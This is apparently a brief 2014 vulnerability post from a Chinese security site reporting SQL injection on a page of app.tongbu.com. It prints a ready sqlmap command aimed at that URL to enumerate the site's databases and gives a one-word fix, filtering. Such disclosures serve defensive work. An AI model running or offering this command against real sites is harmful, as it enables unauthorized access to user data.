同步网某分站存在sql注入下载
-
来源：黑吧安全网 浏览：917次 时间：2014-04-29
同步网某页面SQL注入漏洞（泄漏用户各种信息）
D:\Python>python.exe e:\Tools\sqlmap\sqlmap.py -u "http://app.tongbu.com/gift/li
st.html?key=*" --dbs --level 3
修复方案：
过滤
上一篇： Apple iOS及TV多个安全漏洞下载
下一篇： 乐视网某站点配置不当重要代码泄露下载